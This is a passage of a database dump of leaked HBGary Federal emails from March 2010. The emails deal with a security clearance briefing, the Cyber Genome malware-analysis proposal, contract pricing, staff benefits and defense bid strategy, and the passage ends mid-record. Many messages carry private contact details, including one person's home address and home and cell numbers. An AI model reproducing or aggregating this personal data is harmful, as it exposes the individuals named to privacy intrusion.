Re: Security Briefing\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nThanks Jonathan. &nbsp;I got briefed today.\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nI have a favor to ask. &nbsp;Can you forward a visit CERT to\r\nLockheed Martin. &nbsp;They are the PM for the UNO contract, which HBGary is an\r\nauthorized bidder. &nbsp;This has relevance for our existing work on COIN.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nSecurity POC - Martha Chapman, Voice 703-466-3325, Unclas\r\nFAX 703-466-3340,\r\n\r\n\r\n\r\n\r\n\r\nSecure\r\nFAX 703-466-3321.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nThank You,\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nOn Mar 10, 2010, at 10:22 AM, Willson, Jonathan G (TASC Inc)\r\nwrote:\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nNot a problem. when you arrive, have a seat in the lobby, and at\r\n8:30 the someone will come out to escort you to the briefing.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nJonathan\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom:&nbsp;Aaron Barr\r\n[mailto:aaron@hbgary.com]&nbsp;\r\nSent:&nbsp;Wednesday, March 10,\r\n2010 9:45 AM\r\nTo:&nbsp;Willson, Jonathan G\r\n(TASC)\r\nSubject:&nbsp;Re: Security\r\nBriefing\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nI would like to do it next Tuesday if possible.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nThanks\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\nFrom my iPhone\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Mar 10, 2010, at 9:31 AM, &quot;Willson, Jonathan G (TASC Inc)&quot; &lt;Jonathan.G.Willson@tasc.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr,\r\n\r\nI have received notification that your\r\nclearance request has been approved. You will need to attend our security\r\nbriefing for indoctrination in to your SCI accesses. This briefing is offered\r\nevery week at the following times:\r\n\r\nTuesday, 8:30 am\r\n\r\nThursday, 8:30 am\r\n\r\nPlease let me know by 2:00 pm the day\r\nbefore the scheduled briefing which date will work best for you (reply all).\r\nAll the briefings are held at 4801 Stonecroft Blvd.\r\n\r\nJonathan Willson\r\nPersonnel\r\nSecurity\r\nNorthrop\r\nGrumman TASC\r\n4801 Stonecroft\r\nBlvd.\r\nChantilly,\r\nVA 20151\r\n703.653.5779\r\n(phone)\r\n\r\n703.633.8460\r\n(fax)\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',8210,'aaron_hbgary_com/8210.html'),(4149,'2010-03-17','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297002191.M57998P3547Q4148.eml','\"Bob Slapnik\" <bob@hbgary.com>','Gregs Bio for GD','Hi Bob,\r\n\r\nA request was made that we need to add to Gregs Bio things that are more relevant to the cyber genome effort.  This should be hard.  DDNA, Responder, Behavioral analysis techniques, etc.\r\n\r\nCan you do this?  I am not sure if I have the most updated copy of what was sent to GD.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',16173,'aaron_hbgary_com/16173.html'),(4150,'2010-03-17','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297002191.M592283P3547Q4150.eml','\"Choate, William R (TASC)\" <WILLIAM.CHOATE@tasc.com>','Re: Security Briefing','Thank You,Security POC - Martha Chapman, Voice 703-466-3325, Unclas FAX 703-466-3340,SecureFAX 703-466-3321.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Technical POC - Jim Racz, 703-466-3314AaronOn Mar 17, 2010, at 8:52 AM, Choate, William R (TASC) wrote:Aaron,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; I will send this morning.&nbsp; Who is the technical POC and phone number.&nbsp; I will perm cert to end of year.&nbsp;Bill&nbsp;From:&nbsp;Willson, Jonathan G (TASC)&nbsp;Sent:&nbsp;Wednesday, March 17, 2010 8:08 AMTo:&nbsp;\'Aaron Barr\'Cc:&nbsp;Choate, William R (TASC)Subject:&nbsp;RE: Security Briefing&nbsp;Aaron,&nbsp;I have CC’d Bill Choate who is your PSO. He will be able to send in a visit cert for you.&nbsp;Thanks,&nbsp;Jonathan&nbsp;From:&nbsp;Aaron Barr [mailto:aaron@hbgary.com]&nbsp;Sent:&nbsp;Tuesday, March 16, 2010 10:38 PMTo:&nbsp;Willson, Jonathan G (TASC)Subject:&nbsp;Re: Security Briefing&nbsp;Thanks Jonathan. &nbsp;I got briefed today.&nbsp;I have a favor to ask. &nbsp;Can you forward a visit CERT to Lockheed Martin. &nbsp;They are the PM for the UNO contract, which HBGary is an authorized bidder. &nbsp;This has relevance for our existing work on COIN.&nbsp;Security POC - Martha Chapman, Voice 703-466-3325, Unclas FAX 703-466-3340,SecureFAX 703-466-3321.&nbsp;Thank You,Aaron&nbsp;&nbsp;On Mar 10, 2010, at 10:22 AM, Willson, Jonathan G (TASC Inc) wrote:&nbsp;Not a problem. when you arrive, have a seat in the lobby, and at 8:30 the someone will come out to escort you to the briefing.&nbsp;Jonathan&nbsp;From:&nbsp;Aaron Barr [mailto:aaron@hbgary.com]&nbsp;Sent:&nbsp;Wednesday, March 10, 2010 9:45 AMTo:&nbsp;Willson, Jonathan G (TASC)Subject:&nbsp;Re: Security Briefing&nbsp;I would like to do it next Tuesday if possible.&nbsp;ThanksAaronFrom my iPhoneOn Mar 10, 2010, at 9:31 AM, \"Willson, Jonathan G (TASC Inc)\" &lt;Jonathan.G.Willson@tasc.com&gt; wrote:Aaron Barr,I have received notification that your clearance request has been approved. You will need to attend our security briefing for indoctrination in to your SCI accesses. This briefing is offered every week at the following times:Tuesday, 8:30 amThursday, 8:30 amPlease let me know by 2:00 pm the day before the scheduled briefing which date will work best for you (reply all). All the briefings are held at 4801 Stonecroft Blvd.Jonathan WillsonPersonnel SecurityNorthrop Grumman TASC4801 Stonecroft Blvd.Chantilly, VA 20151703.653.5779 (phone)703.633.8460 (fax)&nbsp;Aaron BarrCEOHBGary Federal Inc.&nbsp;&nbsp;&nbsp;\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',12319,'aaron_hbgary_com/12319.html'),(4151,'2010-03-17','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297002192.M888550P3547Q4151.eml','\"Ted Vera\" <ted@hbgary.com>','SRI RFP','I don\'t think the travel is right but here is my latest copy, check it out and give me a call.\r\n\r\nWorking GD, then Pikewerks, then HBGary, then larger SOW.\r\n\r\nI am hoping we can get back on track and gel all this pack together by the end of the day.\r\n',10511,'aaron_hbgary_com/10511.html'),(4152,'2010-03-17','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297002193.M146970P3547Q4152.eml','\"Ted Vera\" <ted@hbgary.com>','GD','Did GD send us their numbers?  I don\'t think I saw them.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',15106,'aaron_hbgary_com/15106.html'),(4153,'2010-03-17','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297002194.M749032P3547Q4153.eml','\"Aaron Barr\" <aaron@hbgary.com>','Fwd: Preliminary Price','\r\n\r\n-------- Original Message --------\r\nSubject: Preliminary Price\r\nDate: Fri, 12 Mar 2010 16:52:51 -0600\r\nFrom: Wenthold, Russell L. \r\nTo: \r\nCC: Spiller, John F. ,	Brunelli, Rex\r\n\r\n\r\nTed,\r\n\r\nI was asked to pass the attached informal pricing sheet to you.  If you\r\nrequire a  more formal submission please let me know.\r\n\r\n\r\n\r\nThanks Russ\r\n\r\n\r\n\r\n\r\n\r\nRuss Wenthold\r\n\r\nContracts Administrator\r\n\r\n210-442-4207 (Blanco)\r\n\r\n210-932-5537 (SAIF)\r\n\r\n210-377-0199 (FAX\r\n\r\n\r\n\r\n\r\n',10143,'aaron_hbgary_com/10143.html'),(4154,'2010-03-17','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297002194.M965328P3547Q4154.eml','\"Aaron Barr\" <aaron@hbgary.com>','Email from Tim','Just got this on linked in from Tim Trowbridge:\r\n\r\nHi Ted -\r\nHope this finds you doing well. Sorry to hear about your departure from\r\nNG but maybe it\'s for the best.\r\nI\'ve decided to cut loose from NG as well and will be taking an early\r\nretirement. I hope to go do some more Habitat and nonprofit stuff, maybe\r\nsome consulting, no firm plans at the moment. My last day with NG is 26\r\nFebruary. [ It\'s starting to feel a bit weird :-) ]\r\nIf I can be of help to you in the future - proposal reviewer or the like\r\n- I\'d be happy to help you out if we can work the scheduling and such.\r\nJust give me a call or drop an email.\r\nTake care and hope to see you around!\r\n\r\nsincerely,\r\nTim\r\n\r\nTim Trowbridge\r\n11650 Brinkerhoff Road\r\nElbert, CO 80106\r\nTim.Trowbridge@mindspring.com\r\nTel: 719-495-3145 (home)\r\nTel: 719-332-8732 (cell)\r\n',4519,'aaron_hbgary_com/4519.html'),(4155,'2010-03-17','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297002195.M156443P3547Q4155.eml','jeffbell@onebox.com,jeffbell@onebox.com','Re: FW: RE: HBGary Benefits enrollment package','Jeff, for HBGary Federal we\'d like to have the benefits started on the\r\nfirst of the month following enrollment.  What do we need to do in\r\norder to implement that?\r\n\r\nRegards,\r\nTed\r\n\r\n\r\n-- \r\nTed H. Vera\r\nPresident | COO\r\nHBGary Federal\r\n719-237-8623\r\n\r\n\r\nOn Wed, Mar 17, 2010 at 8:18 AM,   wrote:\r\n>\r\n> Hi  Mark, here are the enrollment packages for all benefits.\r\n> The Anthem medical plans allow for you to choose your coverage , Most choose\r\n> the $30 PPO plan, I believe HBGary carries the cost for the employee but not\r\n> the dependents.\r\n> There is a 90 day Employee Eligibility Waiting Period for all benefits.\r\n> Please give me a call if you would like to discuss addtional premiums for\r\n> dependents or just if you have any\r\n> questions about the coverage as well.\r\n> Sincerely,\r\n> Jeff Bell / Mission Trail Ins.Agency   800-255-4001\r\n> jeffbell@onebox.com - email\r\n> (866) 578-1808 - voicemail/fax\r\n> This e-mail, including attachments, may include confidential and/or\r\n> proprietary information, and may be used only by the person or entity\r\n> to which it is addressed.\r\n>\r\n>\r\n>\r\n> -----Original Message-----\r\n> From: John Day\r\n> Sent: Thu, 4 Mar 2010 12:52:28 -0800\r\n> To:\r\n> Subject: HBGary Benefits enrollment\r\n>\r\n> Jeff,\r\n>\r\n> Please send me the benefits information for medical and dental.\r\n>\r\n>\r\n>\r\n> Thank you,\r\n>\r\n> John Day\r\n>\r\n> 916-459-4727 x113\r\n',12562,'aaron_hbgary_com/12562.html'),(4156,'2010-03-17','\"Larson, Cindy S.\" <Cindy.Larson@gd-ais.com>','/aaron@hbgary.com/new/1297002195.M394903P3547Q4156.eml','\"Ted Vera\" <ted@hbgary.com>,\"Brianne O\'Brien\" <brianneo@securedecisions.avi.com>,\"Colleen Ferguson\" <colleen.ferguson@sri.com>,don.sanders@pikewerks.com,\"Jim Fong\" <jimfong@berkeley.edu>,\"Ted Vera\" <ted@hbgary.com>,\"Brianne O\'Brien\" <brianneo@securedecisions.avi.com>,\"Colleen Ferguson\" <colleen.ferguson@sri.com>,don.sanders@pikewerks.com,\"Jim Fong\" <jimfong@berkeley.edu>,,,,','Due Date Reminder - Sanitized Cost Volume - Cyber Genome Proposal','\r\n\r\n\r\n\r\n\r\nGood \r\nMorning,\r\n&nbsp;\r\nJust a reminder that your \r\nsanitized Cost Volume is due to GDAIS today.&nbsp;&nbsp; If you have any last \r\nminute questions or require clarification please contact Rex Brunelli at (210) \r\n442-4231, or send him an email and copy me.&nbsp;\r\n&nbsp;\r\nYour original, 2 hard \r\ncopies and 2 CD ROMs of your sealed Cost Volume is due to Ryan Vela on March \r\n25th; see RFP Attachment 1 for the address location.\r\n&nbsp;\r\nAlso, please re-review \r\nthe RFP Attachment 1 to ensure your proposal includes all other required \r\nproposal information and documents&nbsp;(not part of the Cost Volume) .&nbsp; \r\nCall me at 480-441-4235 or send me an email&nbsp;if you have any questions \r\nregarding the other required information.&nbsp; \r\n&nbsp;\r\nReminder,&nbsp;any comments \r\nto the GDAIS subcontract template or the terms and conditions&nbsp;should be \r\nsent to me&nbsp;by the end of next week.\r\n&nbsp;\r\nWe look forward to \r\nreceiving your final pricing and proposal.\r\n&nbsp;\r\nRegards,\r\nCindy&nbsp;\r\n',15579,'aaron_hbgary_com/15579.html'),(4157,'2010-03-17','\"Greg Hoglund\" <greg@hbgary.com>','/aaron@hbgary.com/new/1297002195.M632024P3547Q4157.eml','\"Aaron Barr\" <aaron@hbgary.com>','Fell behind yesterday','Aaron,\r\n \r\nI didn&#39;t have time to write those two writeups for you.  Yesterday I fell significantly behind.  \r\n \r\n-Greg\r\n',7929,'aaron_hbgary_com/7929.html'),(4158,'2010-03-17','\"Greg Hoglund\" <greg@hbgary.com>','/aaron@hbgary.com/new/1297002195.M819813P3547Q4158.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','Re: Palantir',' \r\nAaron,\r\n \r\nI have not been able to use Palantir for anything.  I am having trouble importing data in the excel format, specifically the step called &quot;resolution&quot;.  I&#39;ve highlighted them a few times in talks, etc. But no time to really go any farther with it.\r\n\r\n \r\n-Greg\r\nOn Tue, Mar 16, 2010 at 5:14 PM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\nGreg,Based on your workings with palantir and session with geoff, is thereanything worth showing at palantirs conference next month at a booth?\r\nWe could highlight the report and our use of palantir, the gmc, etc?Aaron From my iPhone\r\n',4421,'aaron_hbgary_com/4421.html'),(4159,'2010-03-17','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297002196.M22543P3547Q4159.eml','\"Greg Hoglund\" <greg@hbgary.com>','Re: Palantir','OK. &nbsp;Thanks. &nbsp;I will start to pick some of this up as we get more people.AaronOn Mar 17, 2010, at 11:00 AM, Greg Hoglund wrote:&nbsp;\r\nAaron,\r\n&nbsp;\r\nI have not been able to use Palantir for anything.&nbsp; I am having trouble importing data in the excel format, specifically the step called \"resolution\".&nbsp; I\'ve highlighted them a few times in talks, etc. But no time to really go any farther with it.\r\n\r\n&nbsp;\r\n-Greg\r\nOn Tue, Mar 16, 2010 at 5:14 PM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\nGreg,Based on your workings with palantir and session with geoff, is thereanything worth showing at palantirs conference next month at a booth?\r\nWe could highlight the report and our use of palantir, the gmc, etc?Aaron&nbsp;From my iPhone\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',10349,'aaron_hbgary_com/10349.html'),(4160,'2010-03-17','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297002196.M262367P3547Q4160.eml','\"Greg Hoglund\" <greg@hbgary.com>','Re: Fell behind yesterday','no worries.  Thanks for the note.\r\n\r\nCan you give me more access to the portal when you get a chance.  I still have basic access.\r\n\r\nThe TMC has all the elements the government needs to communicate internally and externally about malware and incidents.  The current system is an antiquated database with external data fields that talk about source and destination IP and suspected malware type.  As incidents are investigated and the malware analyzed it would be a great capability to have someone be able to search the repository for meta data they could correlate to their event.  This is at a more raw data level rather than at the nice pretty picture Palantir level.  Both are nice, but a quick ability to search for a string, or a DDNA trait or trait sequence, or some other piece of internally collected data they think is relevant.  That would be big.  From what exists in the TMC that doesn\'t sound too challenging, just need to pitch it that way.  Dave Luber picked up on it a little bit and suggested the Repository and Portal could be used for that purpose.\r\n\r\nAaron\r\n\r\nOn Mar 17, 2010, at 10:55 AM, Greg Hoglund wrote:\r\n\r\n> Aaron,\r\n>  \r\n> I didn\'t have time to write those two writeups for you.  Yesterday I fell significantly behind. \r\n>  \r\n> -Greg\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',7361,'aaron_hbgary_com/7361.html'),(4161,'2010-03-17','\"Rodriguez Harold Contractor DC3/DCCI\" <harold.rodriguez.ctr@dc3.mil>','/aaron@hbgary.com/new/1297002196.M457669P3547Q4161.eml','\"Matt O\'Flynn\" <matt@hbgary.com>,\"Bob Slapnik\" <bob@hbgary.com>,\"Matt O\'Flynn\" <matt@hbgary.com>,\"Bob Slapnik\" <bob@hbgary.com>','Using Responder Pro (eval) for training to 3 DC3\\DCITA instructors','Matt, Bob,\r\n\r\nI have been requested by some of our instructors in DC3\\DCITA to provide\r\na basic malware analysis workshop.\r\n\r\nI believe they are looking at creating a course for DoD students.\r\n\r\nIn this workshop, I want to teach basic memory analysis. Can I use the\r\nevaluation version of HBGary Responder Pro for this purpose? \r\n\r\nThe advantage I see is that if they like it, they could incorporate it\r\nin their course materials to teach DoD students/case agents (ARMY, NSA,\r\nAF, DCIS, OSI, etc) how to use the tool for incidence response,\r\nmemory/malware analysis, forensics, etc.\r\n\r\nWe talked about this not so long ago, and I believe the answer from Bob\r\nwas positive, but I wanted to verify again because the instructors want\r\nthis training this or next week.\r\n\r\nBest regards and thank you!\r\n\r\nHarold Rodriguez\r\nSr. Engineer, DCCI (Defense Cyber Crime Institute) \r\nDefense Cyber Crime Center (DC3) \r\n\r\nContractor: General Dynamics - Advanced Information Systems\r\n(410) 694-6409\r\n************************************************************************\r\n************************************\r\nThis email and any files transmitted with it are intended solely for the\r\nuse of the individual\r\nor entity to whom they are addressed. If you have received this email\r\nand you are not\r\nthe intended recipient please notify the originating party and delete\r\nthe email message.\r\n************************************************************************\r\n************************************\r\n\r\n\r\n**********************************************************************\r\nThis email and any files transmitted with it are confidential and\r\nintended solely for the use of the individual or entity to whom they\r\nare addressed. If you have received this email in error please notify\r\nthe system manager.\r\n\r\nThis footnote also confirms that this email message has been swept by\r\nMIMEsweeper for the presence of computer viruses.\r\n\r\nwww.clearswift.com\r\n**********************************************************************\r\n',9496,'aaron_hbgary_com/9496.html'),(4162,'2010-03-17','\"LinkedIn Connections\" <connections@linkedin.com>','/aaron@hbgary.com/new/1297002196.M637983P3547Q4162.eml','\"Aaron Barr\" <aaron@hbgary.com>','Scott Sage has accepted your LinkedIn invitation','\r\n\r\n  \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nInvitation Accepted\r\n\r\n\r\n&nbsp;\r\n\r\nCongratulations! You and Scott are now connected.\r\n\r\n \r\n   \r\n   View Scott\'s profile to:\r\n     \r\n       Download Scott\'s current contact information\r\n       Write a recommendation for Scott\r\n       Find opportunities through Scott\'s network\r\n       See who you know in common\r\n     \r\n   &nbsp;\r\n   \r\n   Continue building your network:Every person you connect with builds value for you and all your connections.\r\n \r\n\r\n\r\n&nbsp;\r\n&nbsp;\r\n If these links are not working, you can paste the following address into your browser: http://www.linkedin.com/e/74GQgvacGxZR3E5O7EOQw5Eauzi/fpf/12682337/ Thank you for using LinkedIn! -- The LinkedIn Team\r\nhttp://www.linkedin.com/\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&copy; 2010, LinkedIn Corporation\r\n\r\n\r\n\r\n',6742,'aaron_hbgary_com/6742.html'),(4163,'2010-03-17','\"Lovegrove, John (TASC)\" <John.Lovegrove@tasc.com>','/aaron@hbgary.com/new/1297002196.M822458P3547Q4163.eml','\"Clair, Chris (TASC)\" <CHRISTOPHER.CLAIR@tasc.com>,\"Aaron Barr\" <aaron@hbgary.com>','RE: Antacid','What do you think about Centra as a replacement for the language skills\r\nthat SAIC supposedly has?\r\n\r\nJohn Lovegrove\r\nDirector\r\nOffice: (703) 449-3812\r\nCell: (571) 294-5154\r\n\r\n\r\n\r\n',5708,'aaron_hbgary_com/5708.html'),(4164,'2010-03-17','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297002197.M240528P3547Q4165.eml','\"Lovegrove, John (TASC)\" <John.Lovegrove@tasc.com>,\"Lovegrove, John (TASC)\" <John.Lovegrove@tasc.com>','Re: Antacid','A better MOE story would be to have web based and on the ground based metric collection capabilities that also has cultural relevance.  On the ground their is no one better than gartner in my opinion.  This can also help in messaging, etc.\r\n\r\nNorthrop is going to pitch Leoni (if that is who they have) and a tool they are developing which will leverage a technology called Buzzient.  Buzzient is a great tool but has no other language support than English and German right now.\r\n\r\nSAIC is going to pitch Digital Echo, which has significant limitation for MOE, much better targeting tool.  On the surface to the uninitiated they will buy the story that Digital Echo is a great MOE tool, but it is using Latent Semantic Indexing (LSI) to do the semantic analysis which has significant limitations for MOE.\r\n\r\nOh might want to look at Charles River Analytics.  Terri Patten works over their now (used to be Bill Varners Tech Director) he has a PhD in computational linguists and built a lot of the systems that customer uses for language analysis.\r\n\r\n\r\nMOE/Messaging - I think Gartner + Akamai + a Buzzient like company.\r\nMarketing/Advertising - Something like Leoni.  We need to be talking about campaigns and not individual projects.  How do you use individual projects within a campaign.  This has marketing and advertising written all over it.  This has to be strong, without it MOE doesn\'t matter.  Needs to have strong skills and be culturally relevant/knowledgable.\r\nLanguage - You, plus a few I can get cover language for development.  Some other company for OPS/Cultural Bench?\r\n\r\nAaron\r\n\r\nOn Mar 17, 2010, at 11:45 AM, Lovegrove, John (TASC) wrote:\r\n\r\n> What do you think about Centra as a replacement for the language skills\r\n> that SAIC supposedly has?\r\n> \r\n> John Lovegrove\r\n> Director\r\n> Office: (703) 449-3812\r\n> Cell: (571) 294-5154\r\n> \r\n> \r\n> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',14605,'aaron_hbgary_com/14605.html'),(4165,'2010-03-17','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297002197.M57445P3547Q4164.eml','\"Lovegrove, John (TASC)\" <John.Lovegrove@tasc.com>,\"Lovegrove, John (TASC)\" <John.Lovegrove@tasc.com>','Re: Antacid','I feel confident I can get you a ringer for Farsi if they are still interested in Farsi (we need to find that out).\r\n\r\nI don\'t know anything about Centra.  Thing is with these organizations they like who they know.  I never heard of Centra.  What type of linguists do they have?  Another tac might be to have a few stars on your side and don\'t claim a deep bench of linguists (most of which are probably DoD trained and not at all native).  You can ghost this talking about most linguists available are not native or digitally knowledgeable, but we have some stars and we are teaming with (someone like Gartner or Lincoln or Leoni) to bring some of the on the ground cultural relevance.  These linguists are not only going to be developing new content but also meeting with folks, so they have to have native or near native proficiency and have to have the cultural relevance as well.\r\n\r\nIf Centra has this then I say grab them, if its just to fit a qual I think we could tell a different story and ghost the approach most will take to check the box.  Gartner has an amazing presence overseas, they can help out with on the ground MOEs as well.  Lincoln and Leoni have been working in those regions for quite some time linguistically and culturally.\r\n\r\nAaron\r\n\r\nOn Mar 17, 2010, at 11:45 AM, Lovegrove, John (TASC) wrote:\r\n\r\n> What do you think about Centra as a replacement for the language skills\r\n> that SAIC supposedly has?\r\n> \r\n> John Lovegrove\r\n> Director\r\n> Office: (703) 449-3812\r\n> Cell: (571) 294-5154\r\n> \r\n> \r\n> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',259,'aaron_hbgary_com/259.html'),(4166,'2010-03-17','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297002198.M248409P3547Q4166.eml','\"Adam Fraser\" <adam.fraser@pikewerks.com>,\"Irby Thompson\" <irby@pikewerks.com>,\"Adam Fraser\" <adam.fraser@pikewerks.com>','RFP','Guys,\r\n\r\nPlease review and comment on the deliverables and tasks before I send you the final copy.  Ted is working on the final pricing for TA1 and then will be working getting the travel and WBS entries correct in our RFPs.  but I don\'t want that to hold up any longer your review of the technical areas.  If you think there is a better way to word it or have some suggestions, then lets discuss.\r\n\r\nKey areas of research/Innovation:\r\n1. Traits and Genomes - our methodology for separating out individual traits and genomes will allow us to more accurately define the discrete components of function and behavior, their relationships in aggregation represented as genomes.\r\n2. Iterative Static Memory analysis runtime tracing - will allow us to smartly exercise as much of the code base/branches as possible.  This approach will also allow us to collect a significant amount of data about malware.\r\n3.  Research into bayesian reasoning and potential other probability and data relationship models to automated the analysis and identification malware function, behavior, and purpose with the goal of being able to do so even with some number of unidentified traits.\r\n4. Mathmatical and visual representations of the malware sample that can be used for rapid identification and likely also usable for relationship matching across lineages as you see the percentage of sequences that are common.\r\n\r\nI want to schedule a telecon tomorrow at 3pm for the technical areas and anything else we need to discuss.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n',1548,'aaron_hbgary_com/1548.html'),(4167,'2010-03-17','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297002200.M528784P3547Q4167.eml','\"Phil Porras\" <porras@csl.sri.com>,vinod@csl.sri.com','RFP','Guys,\r\n\r\nPlease review and comment on the deliverables and tasks before I send you the final copy.  Ted is working on the final pricing for TA1 and then will be working getting the travel and WBS entries correct in our RFPs.  but I don\'t want that to hold up any longer your review of the technical areas.  If you think there is a better way to word it or have some suggestions, then lets discuss.\r\n\r\nKey areas of research/Innovation:\r\n1. Traits and Genomes - our methodology for separating out individual traits and genomes will allow us to more accurately define the discrete components of function and behavior, their relationships in aggregation represented as genomes.\r\n2. Iterative Static Memory analysis runtime tracing - will allow us to smartly exercise as much of the code base/branches as possible.  This approach will also allow us to collect a significant amount of data about malware.\r\n3.  Research into bayesian reasoning and potential other probability and data relationship models to automated the analysis and identification malware function, behavior, and purpose with the goal of being able to do so even with some number of unidentified traits.\r\n4. Mathmatical and visual representations of the malware sample that can be used for rapid identification and likely also usable for relationship matching across lineages as you see the percentage of sequences that are common.\r\n\r\nI would like to identify areas of innovation in the task your the lead on if you can provide that.\r\n\r\nI want to schedule a telecon tomorrow at 3pm for the technical areas and anything else we need to discuss.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n',9901,'aaron_hbgary_com/9901.html'),(4168,'2010-03-17','\"Adam Fraser\" <adam.fraser@pikewerks.com>','/aaron@hbgary.com/new/1297002200.M744227P3547Q4168.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>,','Re: RFP','Thanks Aaron.  We\'ll take a look and be available for discussions\r\ntomorrow.  I\'ll also start updating the cost proposal per the travel\r\nsection in the doc.\r\n\r\n-- Adam\r\n\r\nOn 3/17/10 12:35 PM, Aaron Barr wrote:\r\n> Guys,\r\n> \r\n> Please review and comment on the deliverables and tasks before I send you the final copy.  Ted is working on the final pricing for TA1 and then will be working getting the travel and WBS entries correct in our RFPs.  but I don\'t want that to hold up any longer your review of the technical areas.  If you think there is a better way to word it or have some suggestions, then lets discuss.\r\n> \r\n> Key areas of research/Innovation:\r\n> 1. Traits and Genomes - our methodology for separating out individual traits and genomes will allow us to more accurately define the discrete components of function and behavior, their relationships in aggregation represented as genomes.\r\n> 2. Iterative Static Memory analysis runtime tracing - will allow us to smartly exercise as much of the code base/branches as possible.  This approach will also allow us to collect a significant amount of data about malware.\r\n> 3.  Research into bayesian reasoning and potential other probability and data relationship models to automated the analysis and identification malware function, behavior, and purpose with the goal of being able to do so even with some number of unidentified traits.\r\n> 4. Mathmatical and visual representations of the malware sample that can be used for rapid identification and likely also usable for relationship matching across lineages as you see the percentage of sequences that are common.\r\n> \r\n> I want to schedule a telecon tomorrow at 3pm for the technical areas and anything else we need to discuss.\r\n> \r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n> \r\n> \r\n',14311,'aaron_hbgary_com/14311.html'),(4169,'2010-03-17','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297002201.M552032P3547Q4169.eml','\"Aaron Barr\" <aaron@hbgary.com>','WTF?','This is not a simple cut and paste.  In our cost spreadsheet there was a\r\ntotal of 8 trips.  In the new one there\'s like 20.  Trip names are\r\ninconsistent.  Which meeting is which? Which are we supposed to attend?\r\n Am I missing something?\r\n\r\nTed\r\n\r\n\r\n\r\n-------- Original Message --------\r\nSubject: Bidding Travel Costs - RFP Attachment 9 Pricing Template -\r\nCyber Genome\r\nDate: Mon, 15 Mar 2010 08:32:48 -0700\r\nFrom: Larson, Cindy S. \r\nTo: Brianne O\'Brien ,	Ted Vera\r\n,	Colleen Ferguson ,\r\n,	Jim Fong \r\nCC: Ebbe Reker ,	Aaron Barr ,	Phil\r\nPorras ,	Adam Fraser ,\r\nAnita D\'Amico ,	Dawn 